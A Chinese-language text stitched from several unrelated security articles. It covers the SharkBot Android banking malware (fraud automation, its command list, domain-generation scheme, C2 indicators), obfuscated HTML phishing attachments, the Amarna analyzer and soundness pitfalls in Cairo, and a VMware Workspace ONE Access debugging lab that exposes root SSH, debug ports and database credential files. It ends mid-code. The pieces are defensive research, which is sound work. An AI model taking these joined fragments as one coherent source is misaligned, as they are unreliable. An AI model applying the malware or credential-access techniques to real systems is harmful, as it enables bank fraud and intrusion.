ATS 功能允許惡意軟件接收要模擬的事件列表,並將模擬它們以進行匯款。由於此功能可用於模擬觸摸、點擊和按鈕按下,因此它不僅可用於自動轉賬,還可用於安裝其他惡意應用程序或組件。這就是我們在Google Play 商店中找到的SharkBot 版本的情況,它似乎是SharkBot 的簡化版本,具有最低要求的功能,例如ATS,可以在初始安裝後的某個時間安裝惡意軟件的完整版本。

由於是通過Google Play 商店規避防病毒軟件進行分發的,受感染設備必須下載安裝才能傳播惡意應用程序。 SharkBot 通過利用“Direct Reply”的Android 功能來實現這一點。此功能用於自動發送回复通知以及下載虛假防病毒應用程序的消息。這種利用直接回复功能的傳播策略最近出現在另一個名為Flubot的銀行惡意軟件中,該惡意軟件由ThreatFabric 發現。

與其他家族不同的是,SharkBot 很可能使用ATS 還繞過多因素身份驗證機制,包括生物特徵等行為檢測,同時它還包括更多經典功能來竊取用戶的憑據。

1.憑證竊取功能SharkBot 實施了四種主要策略來竊取Android 系統中的銀行憑證:

注入(覆蓋攻擊):一旦檢測到官方銀行應用程序已打開,SharkBot 就可以通過顯示帶有虛假登錄網站(網絡釣魚)的WebView 來竊取憑據。

鍵盤記錄: Sharkbot可以通過記錄可訪問性事件(與文本字段更改和單擊按鈕相關)並將這些日誌發送到命令和控制服務器(C2)來竊取憑據。

短信攔截: Sharkbot 具有攔截/隱藏短信的能力。

遠程控制/ATS:Sharkbot 能夠獲得對Android 設備的完全遠程控制(通過輔助功能服務)。

對於大多數這些功能,SharkBot 需要受害者啟用Accessibility Permissions Services。這些權限允許Android 銀行惡意軟件攔截用戶與用戶界面交互產生的所有可訪問性事件,包括按鈕按下、觸摸、TextField 更改(對鍵盤記錄功能有用)等。攔截的可訪問性事件還允許檢測前台應用程序,因此銀行惡意軟件也使用這些權限來檢測目標應用程序何時打開,以進行網絡注入以竊取用戶的憑據。

2.軟件分發Sharkbot 通過Google Play 商店進行分發,但也使用了Android 惡意軟件中的新技術:“Direct reply”通知功能。借助此功能,C2 可以向惡意軟件發送命令消息,該命令消息將用於Direct reply受感染設備消息。 Flubot最近引入了此功能,以使用受感染的設備分發惡意軟件,但似乎SharkBot攻擊者在最近的版本中也加入了此功能。

在下圖中,我們可以看到SharkBot 用於攔截新通知的代碼,並自動將收到的來自C2 的消息進行回复。

img

在下圖中,我們可以看到受感染的測試設備收到的“autoReply”命令,其中包含一個Bit.ly 短鏈接,該鏈接會重定向到Google Play 商店。

img

我們檢測到SharkBot於去年2 月28 日在Google Play 上發布,最後一次更新是在今年2 月10 日,該應用程序已經發布了一段時間。這個簡化版本使用相似協議與C2 通信,RC4 加密Payload和公共RSA 密鑰用於加密RC4 密鑰,因此C2 服務器可以使用相同的密鑰解密請求並加密響應。這個SharkBot 版本,我們可以稱之為SharkBotDropper,主要用於從C2 服務器下載一個全功能的SharkBot,它將使用自動傳輸系統(ATS) 安裝(模擬點擊和触摸,具有Accessibility 權限)。

這個惡意dropper 在Google Play 商店中作為假的防病毒軟件發布,它實際上有兩個主要功能和從C2 接收命令:

使用“Direct reply”功能傳播惡意軟件:它可以接收帶有消息的“Direct reply”命令,該消息應用於Direct reply受感染設備中收到的任何通知。我們研究發現,它一直在通過Bit.ly URL 短鏈接傳播相同的Google Play dropper。

img

Dropper+ATS:ATS 功能用於安裝從C2 獲取的下載的SharkBot 示例。在下圖中,我們可以看到從C2 接收到的解密響應請求,其中dropper 接收命令“ b ”以從提供的URL 下載完整的SharkBot 樣本,並模擬ATS 事件以安裝惡意軟件。

img

使用此命令,從Google Play 商店安裝的應用程序能夠為其下載的全功能SharkBot樣本安裝和啟用輔助功能權限。它將用於最終執行ATS 欺騙,以從受害者那裡竊取金錢和憑證。

在Google Play 商店中發布的假殺毒應用SharkBotDropper 的下載量已超過1,000 次,還有一些假評論,如“效果很好”,還有一些受害者的評論,他們意識到這個應用做了一些奇怪的事情。

img

0x02 技術分析1.C2協議用於與C2 服務器通信的協議是基於HTTP 的協議。 HTTP 請求是明文發出的,因為沒有使用HTTPs。即便如此,包含發送和接收信息的實際Payload是使用RC4 加密的。用於加密信息的RC4 密鑰是為每個請求隨機生成的,並使用每個樣本中硬編碼的RSA 公鑰進行加密。這樣,C2 可以解密加密的密鑰( HTTP POST 請求中的rkey字段)並最終解密發送的Payload( HTTP POST 請求中的rdata字段)。

img

如果看一下解密後的Payload,可以看到SharkBot 是如何簡單地使用JSON 發送有關受感染設備的不同信息並從C2 接收要執行的命令。在下圖中,我們可以看到從受感染設備發送的解密後的RC4 Payload。

img

請求中發送的兩個重要字段是:

ownerID

botnetID

這些參數是硬編碼的,並且在分析的樣本中具有相同的值。我們猜測這些值將來可用於識別此惡意軟件的不同買家,根據我們的調查,該惡意軟件尚未在地下論壇上出售。

2.域生成算法SharkBot 包括一個或兩個註冊的Domain/URL,但如果硬編碼的C2 服務器被關閉,它還包括一個域生成算法(DGA),以便將來能夠與新的C2 服務器通信。

img

DGA 使用當前日期和特定的後綴字符串('pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf') 最終將其編碼為base64 並獲取前19 個字符。然後,它附加不同的TLD 以生成最終的候選域。

img

使用的日期元素是:

一年中的一周(代碼中的v1.get(3))

年份(代碼中的v1.get(1))

它使用'+'運算符,但由於年份的星期和年份是整數,因此它們是相加的,因此例如:對於2022年的第二週,生成的要進行base64編碼的字符串為:2 + 2022 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”=2024 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”=“2024pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”。

在以前版本的SharkBot(從2021 年11 月至12 月)中,它僅使用一年中的當前一周來生成域。將年份加入到生成算法中似乎是為了更好地支持2022 年的更新。

3.木馬命令SharkBot 可以從C2 服務器接收不同的命令,以便在受感染的設備中執行不同的操作,例如發送短信、下載文件、注入等。它可以接收和執行的命令列表如下:

smsSend : 用於由TA 向指定的電話號碼發送短信

updateLib:用於請求惡意軟件從指定的URL 下載新的JAR 文件,其中應包含惡意軟件的更新版本

updateSQL:用於發送要在SQLite 數據庫中執行的SQL 查詢,Sharkbot 使用它來保存惡意軟件的注入等配置

stopAll:用於重置/停止ATS 功能,停止正在進行的自動化功能。

updateConfig:用於向惡意軟件發送更新的配置。

uninstallApp:用於從受感染設備上卸載指定的應用程序

changeSmsAdmin:用於更改短信管理器應用

getDoze : 用於檢查是否啟用忽略電池優化的權限,如果未啟用,則顯示Android 設置以禁用它們

sendInject:用於顯示覆蓋以竊取用戶的憑據

getNotify:如果沒有為惡意軟件啟用通知監聽器設置,則進行顯示。啟用此權限後,Sharkbot 將能夠攔截通知並將其發送到C2

APP_STOP_VIEW:用於關閉指定的應用程序,因此每次用戶嘗試打開該應用程序時,Accessibility Service 都會關閉它

downloadFile : 用於從指定的URL 下載一個文件

updateTimeKnock:用於更新Robot的最後一次請求時間戳

localATS:用於啟用ATS 攻擊。它包括一個JSON 數組,其中包含它應該模擬以執行ATS(按鈕單擊等)的不同事件/動作

img

4.ATS技術SharkBot 的一個獨特之處在於它使用了一種稱為自動傳輸系統(ATS) 的技術。 ATS 是針對Android 的銀行惡意軟件使用的一種相對較新的技術。

總而言之,ATS 與webinject 類似,只是用於不同的目的。它使用憑證在端點上自動啟動電子傳輸,這樣就不需要登錄和繞過2fa 或其他反欺詐措施,並不會收集憑證用於使擴展成果。然而,它是非常個性化的,需要對每個銀行、金額、貨幣等進行相當多的維護。這可能是ATS 在(Android)銀行惡意軟件中並不流行的原因之一。

一旦登錄到他們的銀行應用程序,惡意軟件就會收到一系列事件(點擊/觸摸、按鈕按下等)以特定順序進行模擬。這些事件用於模擬受害者與銀行應用程序的交互以進行匯款,就好像用戶自己進行匯款一樣。

這樣,通過模擬不同的事件從受害者的設備進行匯款,這使得欺詐檢測系統更難以檢測欺詐行為。

5.IOC樣本哈希:

a56dacc093823dc1d266d68ddfba04b2265e613dcc4b69f350873b485b9e1f1c (Google Play SharkBotDropper)

9701bef2231ecd20d52f8fd2defa4374bffc35a721e4be4519bda8f5f353e27a (Dropped SharkBot v1.64.1)

20e8688726e843e9119b33be88ef642cb646f1163dce4109b8b8a2c792b5f9fc (Google play SharkBot dropper)

187b9f5de09d82d2afbad9e139600617685095c26c4304aaf67a440338e0a9b6 (Google play SharkBot dropper)

e5b96e80935ca83bbe895f6239eabca1337dc575a066bb6ae2b56faacd29dd (Google play SharkBot dropper)

SharkBotDropper C2:

hxxp://statscodicefiscale[.]xyz/stats/

用於分發惡意軟件的URL:

hxxps://bit[.]ly/34ArUxI

Google Play 商店網址:

https://play.google.com/store/apps/details?id=com.abbondioendrizzi.antivirus.supercleaner

https://play.google.com/store/apps/details?id=com.abbondioendrizzi.tools.supercleaner

https://play.google.com/store/apps/details?id=com.pagnotto28.sellsourcecode.alpha

https://play.google.com/store/apps/details?id=com.pagnotto28.sellsourcecode.supercleaner

SharkBot 的C2 服務器/域名:

n3bvakjjouxir0zkzmd[.]xyz (185.219.221.99)

mjayoxbvakjjouxir0z[.]xyz (185.219.221.99)

SharkBot 中用於加密rc4密鑰的RSA 公鑰:

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2R7nRj0JMouviqMisFYt0F2QnScoofoR7svCcjrQcTUe7tKKweDnSetdz1A+PLNtk7wKJk+SE3tcVB7KQS/WrdsEaE9CBVJ5YmDpqGaLK9qZhAprWuKdnFU8jZ8KjNh8fXyt8UlcO9ABgiGbuyuzXgyQ VbzFfOfEqccSNlIBY3s+LtKkwb2k5GI938X/4SCX3v0r2CKlVU5ZLYYuOUzDLNl6KSToZIx5VSAB3VYp1xYurRLRPb2ncwmunb9sJUTnlwypmBCKcwTxhsFVAEvpz75opuMgv8ba9Hs0Q21PChxu98jNPsgIwUn3xmsMUl0rNgBC3MaPs8nSgcT4oUXaVwIDAQAB在Google Play SharkBotDropper 中用於加密rc4密鑰的RSA 公鑰:

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu9qo1QgM8FH7oAkCLkNO5XfQBUdl+pI4u2tvyFiZZ6hMZ07QnlYazgRmWcC5j5H2iV+74gQ9+1cgjnVSszGbIwVJOQAEZGRpSFT7BhAhA4+PTjH6CCkiyZTk7zURvgBCrXz6+B1XH0OcD4YUYs4OGj8P d2KY6zVocmvcczkwiU1LEDXo3PxPbwOTpgJL+ySWUgnKcZIBffTiKZkry0xR8vD/d7dVHmZnhJS56UNefegm4aokHPmvzD9p9n3ez1ydzfLJARb5vg0gHcFZMjf6MhuAeihFMUfLLtddgo00Zs4wFay2mPYrpn2x2pYineZEzSvLXbnxuUnkFqNmMV4UJwIDAQAB

在網絡釣魚電子郵件中使用嵌入式HTML 文檔是網絡犯罪分子採用的標準技術。它消除了將鏈接放入電子郵件正文的需要,反垃圾郵件引擎和電子郵件防病毒通常可以輕鬆檢測到這些鏈接。 HTML 為偽裝網絡釣魚內容提供了比電子郵件更多的可能性。

網絡犯罪分子主要使用兩種類型的HTML 附件:帶有指向虛假網站鏈接的HTML 文件或成熟的網絡釣魚頁面。在第一種情況下,攻擊者不僅可以隱藏文件中的鏈接,還可以在用戶打開此文件時自動將用戶重定向到欺詐站點。第二種類型的HTML 附件可以完全跳過創建網站並節省託管成本:網絡釣魚表單和收集數據的腳本直接嵌入在附件中。此外,HTML 文件(如電子郵件)可以根據目標受害者和攻擊媒介進行修改,從而實現更加個性化的網絡釣魚內容。

image.png

帶有HTML 附件的示例電子郵件

網絡釣魚HTML 附件的結構HTML 附件中的網絡釣魚元素通常使用JavaScript 實現,它處理將用戶重定向到網絡釣魚站點或收集憑據並將其發送給詐騙者。

1212121.jpg

釣魚HTML 頁面及其源代碼

通常,HTML 頁面將數據發送到腳本中指定的惡意URL。一些附件完全(或大部分)由JS 腳本組成。

在電子郵件源代碼中,HTML 附件看起來像純文本,通常是Base64 編碼的。

222222.jpeg

電子郵件源代碼中的HTML 附件

如果文件包含明文的惡意腳本或鏈接,安全軟件可以快速解析並阻止它。為了避免這種情況,網絡犯罪分子會採取各種手段。

JavaScript 混淆JavaScript 混淆是用於偽裝HTML 附件的最常用技術之一。為了防止文件中的URL 被快速發現和阻止,網絡釣魚者會混淆網絡釣魚鏈接本身或整個腳本,有時甚至是整個HTML 文件。在某些情況下,網絡犯罪分子會手動混淆代碼,但他們通常使用現成的工具,其中許多工具是免費提供的,例如JavaScript Obfuscator。

例如,在文本編輯器中打開據稱來自匯豐銀行的釣魚郵件中的HTML 附件(見圖1),我們會看到一些相當混亂的JS 代碼,看起來既不提示打開鏈接,也不提示打開鏈接。任何其他有意義的動作。

555.jpeg

HTML 附件中的混淆示例

然而,它實際上是一個將用戶重定向到釣魚網站的混淆腳本。為了偽裝釣魚鏈接,攻擊者使用了現成的工具,讓我們可以輕鬆地對腳本進行反混淆。

11111111111.jpeg

來自HSBC 銀行的電子郵件附件中的反混淆腳本:重定向用戶的鏈接

如果腳本、鏈接或HTML 頁面被手動混淆,則恢復原始代碼要困難得多。要檢測此類文件中的網絡釣魚內容,可能需要進行動態分析,其中涉及運行和調試代碼。

編碼有時攻擊者會使用更有趣的方法。例如,在一封網絡釣魚電子郵件中,我們發現了一個不尋常的HTML 附件。如上例所示,它包含JavaScript。由於代碼非常緊湊,人們可能會認為它與偽造的HSBC 電子郵件中的代碼相同——即將用戶重定向到網絡釣魚站點。但是在運行它時,我們發現了一個用這個小腳本編碼的完整的網絡釣魚頁面。

999.jpeg

使用unescape() 方法的HTML 文件——文件的源代碼只包含五行,其中一行是空的

98.jpeg

圖7. HTML 附件中的網絡釣魚頁面

網絡犯罪分子使用了一個有趣的技巧,其中涉及已棄用的JS 方法unescape()。此方法將“%xx”字符序列替換為傳遞給它的字符串中的ASCII 等效項。運行腳本並查看結果頁面的源代碼,我們會看到純HTML。

777.png

圖8. 生成的HTML 文件

JavaScript 現在使用decodeURI() 和decodeURIComponent() 方法代替unescape(),但大多數現代瀏覽器仍然支持unescape()。我們不能肯定為什麼攻擊者選擇了一種已棄用的方法,但這可能是因為現代方法更有可能被反垃圾郵件引擎解釋和檢測到。

統計數據2022 年前四個月,卡巴斯基安全解決方案檢測到近200 萬封包含惡意HTML 附件的電子郵件。其中近一半(851,328) 在3 月份被檢測到並被阻止。 1 月是最平靜的月份,我們的反垃圾郵件解決方案檢測到299,859 封帶有網絡釣魚HTML 附件的電子郵件。

結論網絡釣魚者使用各種技巧來繞過電子郵件攔截,並引誘盡可能多的用戶訪問他們的欺詐網站。一種常見的技術是帶有部分或完全混淆代碼的HTML 附件。 HTML 文件允許攻擊者使用腳本、混淆惡意內容以使其更難檢測,並將網絡釣魚頁面作為附件而不是鏈接發送。

我們正在開源Amarna,這是我們用於Cairo 編程語言的新靜態分析器和linter(檢查代碼風格/錯誤的小工具)。 Cairo 是一種編程語言,為擁有數百萬美元資產的多個交易交易所提供支持(例如由StarkWare 驅動的dYdX),並且是StarkNet 合約的編程語言。但是,與其他語言不同,它也有一些奇怪的功能。因此,我們將首先簡要概述該語言、其生態系統以及開發人員應注意的該語言中的一些漏洞。然後,我們將介紹Amarna 並討論它是如何工作的?

為什麼我們需要Cairo? Cairo以及類似的語言(如Noir和Leo)的目的是編寫“可證明的程序”,其中一方運行程序並創建一個證明,證明它在給定特定輸入時返回特定輸出。

假設我們想將程序的計算外包給某個服務器,並且需要保證結果是正確的。使用Cairo,我們可以獲得程序輸出正確結果的證明;我們只需要驗證證明而不是自己重新計算函數(這將違背外包計算的初衷)。

總之,我們採取了以下步驟:

1.導出我們要計算的函數。

2.使用的具體輸入在工作設備上運行該函數,獲得結果,並生成計算有效性的證明。

3.通過驗證證明來驗證計算。

Cairo編程語言如上所述,Cairo 編程模型涉及兩個關鍵角色:運行程序並創建程序返回特定輸出的證明的驗證程序,以及驗證驗證程序創建的證明的驗證程序。

然而,在實踐中,Cairo 程序員實際上不會自己生成或驗證證明。相反,生態系統包括以下三個部分:

1.SHARed Prover (SHARP) 是一個公共驗證程序,它為用戶發送的程序跟踪生成有效性證明。

2.證明驗證程序合約驗證程序執行的有效性證明。

3.可以查詢事實註冊合約來檢查某個事實是否有效。

事實註冊表是一個數據庫,用於存儲程序事實,或從程序及其輸出的哈希計算的值;創建程序事實是將程序綁定到其輸出的一種方法。

這是Cairo的基本工作流程:

1.用戶編寫程序並將其跟踪提交給SHARP(通過Cairo Playground 或命令cairo-sharp)。

2.SHARP 為程序跟踪創建一個STARK 證明,並將其提交給證明驗證程序合約。

3.證明驗證程序合約驗證證明,如果有效,則將程序事實寫入事實註冊表。

4.任何其他用戶現在都可以查詢事實註冊表合約以檢查該程序事實是否有效。

還有兩件事要記住:

Cairo 的內存是一次性寫入的:一個值寫入內存後,就無法更改。

assert語句assert a=b的行為會根據a是否被初始化而不同:如果a 未初始化,則assert 語句將b 分配給a;如果a 被初始化,assert 語句斷言a 和b 相等。

儘管Cairo 的語法和關鍵字的細節很有趣,但我們不會在這篇文章中討論這些主題。

設置和運行Cairo代碼現在我們已經簡要地概括了Cairo語言,接下來討論如何設置和運行Cairo代碼。考慮以下簡單的Cairo程序。這個函數計算一對數字(input, 1) 的Pedersen 哈希函數,並在控制台中輸出結果:

1.png

要設置Cairo 工具,我們使用Python 虛擬環境:

2.png

然後,我們編譯程序:

3.png

最後,我們運行程序,它將輸出以下值:

4.png

這個值就是(4242, 1)的Pedersen hash對應的字段元素。

現在,假設我們將輸入從4242 更改為某個隱藏值,而是為驗證程序提供以下輸出:

5.png

為什麼驗證程序會相信我們?好吧,我們可以證明我們知道使程序返回該輸出的隱藏值!

為了生成證明,我們需要計算程序的哈希來生成程序事實。這個哈希值不依賴於輸入值,因為賦值是在一個提示中進行的(這是Cairo的一個奇怪設置,我們將在本文後面討論):

6.png

6.2.png

然後,我們可以通過使用事實註冊表合約並以程序事實作為輸入調用isValid 函數來檢查程序事實的有效性:

7.png

調用isValid 函數檢查程序事實有效性的結果。

概括地說,我們運行了程序,SHARP創建了一個可以在事實註冊表中查詢的證明,以檢查其有效性,證明我們確實知道將導致程序輸出該值的輸入。

現在,我實際上可以告訴你,我使用的輸入是71938042130017,你可以繼續檢查結果是否匹配。

Cairo功能Cairo有幾個奇怪功能,新的Cairo程序員可能還使不習慣。我們將描述三個容易被濫用並導致安全問題的Cairo 習慣:Cairo 提示、遞歸和欠約束結構之間的相互作用以及非確定性跳轉。

提示

提示是特殊的Cairo 語句,基本上使驗證程序能夠編寫任意Python 代碼。是的,以Cairo 提示編寫的Python 代碼實際上是被執行的!

提示寫在%{ %} 中。我們已經在第一個示例中使用它們給輸入變量賦值:

8.png

8.2.png

因為Cairo 可以在提示中執行任意Python 代碼,所以你不應該在自己的設備上運行任意Cairo 代碼,這樣做可以將你的設備的完全控制權授予編寫代碼的人。

提示通常用於編寫僅由驗證程序執行的代碼。證明驗證程序甚至不知道提示的存在,因為提示不會改變程序哈希。下面來自Cairo playground的函數計算一個正整數n的平方根:

9.png

該程序通過使用提示中的Python數學庫計算n的平方根。但是在驗證時,這段代碼不會運行,驗證程序需要檢查結果是否真的是平方根。因此,在函數返回結果之前,函數包含一個檢查,以驗證n是否等於res * res。

Underconstrained結構Cairo 缺乏對while 和for 循環的支持,程序員只能使用原有的舊遞歸進行迭代。讓我們考慮一下Cairo的“動態分配”挑戰。挑戰要求我們編寫一個函數,給定一個元素列表,將這些元素平方,並返回一個包含這些平方元素的新列表:

10.1.png

10.2.png

運行此代碼將按預期輸出數字1、4、9和16。

但是,如果發生錯誤(或錯誤的錯誤)並導致以零長度調用sqr_array 函數會發生什麼?

11.png

基本上,會發生以下情況:

sqr_array 函數將分配res_array 並調用_inner_sqr_array(array, res_array, 0)。

_inner_sqr_array 會將長度與0 進行比較並立即返回。

sqr_array 將返回已分配(但從未寫入)的res_array。

那麼當你在new_array 的第一個元素上調用serialize_word 時會發生什麼?

按原樣運行代碼將導致錯誤,因為new_array的值是未知的:

12.png

按原樣運行上述代碼後出現的錯誤。

但是,請記住,通常你不會運行代碼。你將驗證程序輸出某些值的證據。而且我實際上可以向你證明該程序可以輸出你想要的任何四個值!

13.png

下面的事實將該程序與輸出[1,3,3,7]綁定:

14.png

根據事實註冊合同,這一事實是有效的:

15.png

事實註冊表對程序事實的驗證。

可以看到,由於返回的數組只是分配的,從不寫入(因為它的長度為0,所以遞歸一開始就停止),驗證程序可以在提示中寫入數組,提示代碼不會影響程序的哈希!

惡意的sqr_array 函數實際上如下:

16.png

簡而言之,如果有一些錯誤使數組的長度為0,惡意驗證程序可以創建他想要的任意結果。

你可能會有疑問,惡意驗證程序不能簡單地在程序末尾添加一個提示來以他希望的任何方式更改輸出。好吧,他可以,只要之前沒有寫過那個內存;這是因為Cairo 的內存是一次性寫入的,所以每個內存單元只能寫入一個值。

由於Cairo中內存的工作方式,這種創建最終結果數組的模式是必要的,但它也存在安全問題的風險:跟踪該數組長度的一個簡單的錯誤可能允許惡意驗證程序任意控制數組內存。

非確定性跳躍對於第一次閱讀Cairo的程序員來說,非確定性跳躍是另一種看起來不自然的代碼模式。它們結合提示和條件跳躍來重定向帶有某個值的程序控制流。驗證程序可以不知道這個值,因為驗證程序可以在提示中設置它。

例如,我們可以編寫一個程序,檢查兩個元素x和y是否相等,方法如下:

17.png

運行此程序將返回預期結果(0 表示不同的值,1 表示相等的值):

18.png

然而,這個函數實際上很容易受到惡意驗證程序的攻擊。注意跳躍指令如何僅依賴於提示中的值:

19.png

而且我們知道提示完全可以由驗證程序控制!這意味著驗證程序可以在該提示中編寫任何其他代碼。事實上,不能保證驗證程序確實檢查了x 和y 是否相等,甚至不能保證x 和y 以任何方式使用過。由於沒有其他檢查,該函數可以返回驗證程序想要的任何內容。

正如我們之前看到的,程序哈希不考慮提示中的代碼;因此,驗證程序無法知道是否執行了正確的提示。惡意驗證程序可以通過更改提示代碼並將每個證明提交到SHARP。

那麼我們如何解決這個問題呢?每當我們看到非確定性跳轉時,我們需要確保跳轉是有效的,並且驗證程序需要驗證每個標籤中的跳轉:

21.png

在本例中,該函數足夠簡單,代碼只需要一個if語句:

22.png

在審核Cairo代碼時,我們注意到除了VScode中的語法高亮顯示外,基本上沒有任何形式的語言支持。然後,當我們在代碼中發現問題時,我們希望確保類似的模式不會出現在代碼庫的其他地方。

我們決定為Cairo 構建Amarna,一個靜態分析器,這樣就能夠創建自己的規則並蒐索我們感興趣的代碼模式,不過不一定是安全漏洞,但任何安全敏感操作都需要分析或檢查代碼時需要更多的關注。

Amarna 將其靜態分析結果導出為SARIF 格式,使我們能夠使用VSCode 的SARIF Viewer 擴展輕鬆地將它們集成到VSCode 中,並查看代碼中帶下劃線的警告:

23.png

帶有下劃線的dead store(左)和顯示來自Amarna 的結果的SARIF Viewer 擴展的Cairo 代碼(右)。

Amarna是如何工作的? Cairo 編譯器是用Python 編寫的,它使用解析工具包lark 來定義語法並構建其語法樹。使用Lark 庫,可以直接為程序的抽象語法樹構建訪問者。從這裡開始,編寫規則就是對要在樹中找到的內容進行編碼。

我們編寫的第一條規則是強調算術運算+、-、* 和/的所有用途。當然,並非所有除法的使用都是不安全的,但是在這些操作下劃線後,開發人員會被提醒Cairo算術在有限域上工作,並且除法不是整數除法,就像在其他編程語言中那樣。字段算術下溢和溢出是開發人員需要注意的其他問題。通過突出顯示所有算術表達式,Amarna 幫助開發人員和審查人員快速放大代碼庫中在這方面可能存在問題的位置。

檢測所有分區的規則很簡單:它基本上只是創建帶有文件位置的結果對象並將其添加到分析結果中:

24.png

當我們尋找更複雜的代碼模式時,我們開發了三類規則:

1.本地規則獨立分析每個文件。上述用於查找文件中所有算術運算的規則是本地規則的一個示例。

2.收集規則獨立地分析每個文件,並收集供後處理規則使用的數據。例如,我們有收集所有聲明函數和所有調用函數的規則。

3.在分析所有文件並使用收集規則收集的數據之後,將運行後處理規則。例如,在收集規則找到文件中所有聲明的函數和所有調用的函數之後,後處理規則可以通過標識聲明但從未調用的函數來找到所有未使用的函數。

到目前為止,我們已經實施了10 條規則,其影響範圍從幫助我們審核代碼的信息性規則(標記為Info)到可能對安全敏感的代碼模式(標記為警告):

25.png

雖然這些規則中的大多數屬於信息類別,但它們肯定具有安全含義:例如,未能檢查函數的返回碼可能會非常嚴重(想像一下,如果函數是簽名驗證);錯誤代碼規則將找到其中一些實例。

未使用的參數規則可以找到函數中沒有使用的參數,這是通用編程語言linter 中的常見模式;這通常表明存在使用該參數的某種意圖,但從未實際使用過,這也可能具有安全隱患。

0x00 前言本文記錄從零開始搭建VMware Workspace ONE Access漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

VMware Workspace ONE Access安裝

VMware Workspace ONE Access漏洞調試環境配置

常用知識

0x02 VMware Workspace ONE Access安裝參考資料:

https://docs.vmware.com/en/VMware-Workspace-ONE-Access/20.01/workspace_one_access_install.pdf

1.下載OVA文件下載頁面:

https://customerconnect.vmware.com/downloads/search?query=workspace%20one%20access

下載前需要先註冊用戶,之後選擇需要的版本進行下載

VMware Workspace ONE Access 21.08.0.1的下載頁面:https://customerconnect.vmware.com/downloads/details?downloadGroup=WS1A_ONPREM_210801productId=1269

下載文件identity-manager-21.08.0.1-19010796_OVF10.ova

2.安裝(1)在VMware Workstation中導入OVA文件

注:

VMware Workstation版本需要大於14,否則報錯提示無法導入

在安裝頁面設置Host Name,如果配置了DHCP,其他選項不用設置,我的配置指定了靜態IP,配置如下圖

1eb1554038f954f18593eda0117e14a.png

等待OVA文件導入完成後,將會自動開機進行初始化,初始化完成後如下圖

c05e76989c4301eb8904c6b8a0794bf.png

(2)配置

修改本機的hosts文件,將192.168.1.11指向workspaceone.test.com

訪問配置頁面https://workspaceone.test.com:8443

設置admin、root和sshuser用戶的口令,口令需要包含大寫字母、小寫字母、數字和特殊字符

注:

我的測試結果顯示,口令長度需要設置為14,否則無法登陸root和sshuser用戶

我的測試環境設置口令為Password@12345,如下圖

0a0223ca5d50ac2ea6209d86f8ce493.png

設置數據庫,為了便於環境搭建,這裡選擇Internal Database

等待安裝完成,如下圖

2376b6d173df948781aeef019089ace.png

3.設置允許root用戶遠程登錄ssh

需要登錄VMware Workspace ONE Access,修改系統的配置文件,有以下兩種登錄方法:

(1)在虛擬機中直接登錄root用戶

選擇Login,輸入root和口令Password@12345

(2)通過ssh登錄sshuser用戶

登錄後再切換至root

切換至root用戶後,依次執行以下命令:

vi/etc/ssh/sshd_config設置PermitRootLogin從no變為yes

systemctlrestartsshd4.開啟遠程調試功能

修改文件:/opt/vmware/horizon/workspace/bin/setenv.sh

修改參數JVM_OPTS,添加參數:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000

如下圖

1f94ca59c082957e7eadefbd51e9fee.png

重新啟動系統

打開防火牆:iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT

IDEA設置遠程調試參數,如下圖

c24da3d796292bdf64d092b888e51fd.png

注:

IDEA的完整配置方法可參考之前的文章《Zimbra漏洞调试环境搭建》

0x03 常用知識1.常用命令

查看系統服務狀態: chkconfig --list

查看所有服務狀態: systemctl status

查看IP地址: ip addr show

查看Host Name: hostname

日誌路徑: /opt/vmware/horizon/workspace/logs/

2.查看系統版本

需要root權限執行命令: vamicli version --appliance

查看系統版本的實現細節:

#!/usr/bin/envpython2

importsys

sys.path.append('/opt/vmware/lib/python/site-packages/')

importpywbem

defgetCIMConnection(url,namespace):

cred={}

cred['cert_file']='/opt/vmware/etc/sfcb/client.pem'

cred['key_file']='/opt/vmware/etc/sfcb/file.pem'

cliconn=pywbem.WBEMConnection(url,None,namespace,cred)

returncliconn

defshowVersion():

try:

cliconn=getCIMConnection('https://localhost:5489','root/cimv2')

esis=cliconn.EnumerateInstances('VAMI_ElementSoftwareIdentity')

except:

print('error')

return

foresiinesis:

ess=esi['ElementSoftwareStatus']

if(ess==[2,6]):

inst=cliconn.GetInstance(esi['Antecedent'])

print('Version-'+inst['VersionString'])

print('Description-'+inst['Description'])

showVersion()需要root權限是因為訪問文件/opt/vmware/etc/sfcb/client.pem和/opt/vmware/etc/sfcb/file.pem需要root權限

3.數據庫連接口令

連接數據庫的明文口令位置為:/usr/local/horizon/conf/db.pwd

連接數據庫的口令加密保存在文件/usr/local/horizon/conf/runtime-config.properties中,文件內容示例:

datastore.jdbc.url=jdbc:postgresql://localhost/saas?stringtype=unspecified

datastore.jdbc.userName=horizon

secure.datastore.jdbc.password=BAACs8MW1xyMe7/8ONd2QwtG3mw37wF1/1pQ6D09xXqf56ncfRtCun6y8A1XFtjajhU60V1QNYnCOxk3t1m0dV0JvA==其中,BAACs8MW1xyMe7/8ONd2QwtG3mw37wF1/1pQ6D09xXqf56ncfRtCun6y8A1XFtjajhU60V1QNYnCOxk3t1m0dV0JvA==為加密口令

需要以下文件作為解密密鑰:

/usr/local/horizon/conf/configkeystore.pass

/usr/local/horizon/conf/configkeystore.bcfks4.數據庫中的加密信息

admin用戶的口令加密存儲在數據庫中

查詢命令:saas=SELECT 'passwordAuthData' FROM 'PasswordInformation';

查詢結果如下圖

加密的主要實現代碼1:

privateStringAES_encrypt(@Nonnullbyte[]clearData,@Nonnullbyte[]key,@NonnullEncryptionAlgorithmsencAlg)throwsEncryptionServiceException{

Preconditions.checkNotNull(clearData);

Preconditions.checkNotNull(key);

Preconditions.checkNotNull(encAlg);

Preconditions.checkArgument(clearData.length!=0);

try{

StringcipherName=encAlg.getCipherName();

Ciphercipher=Cipher.getInstance(cipherName,provider);

intnonceSize=encAlg.getNonceSize(cipher.getBlockSize());

IvParameterSpecivSpec=null;

StringencodedIv;

if(nonceSize0){

byte[]iv=newbyte[nonceSize];

srand.nextBytes(iv);

ivSpec=newIvParameterSpec(iv);

encodedIv=newString(Hex.encode(iv),StandardCharsets.US_ASCII);

}else{

encodedIv='';

}

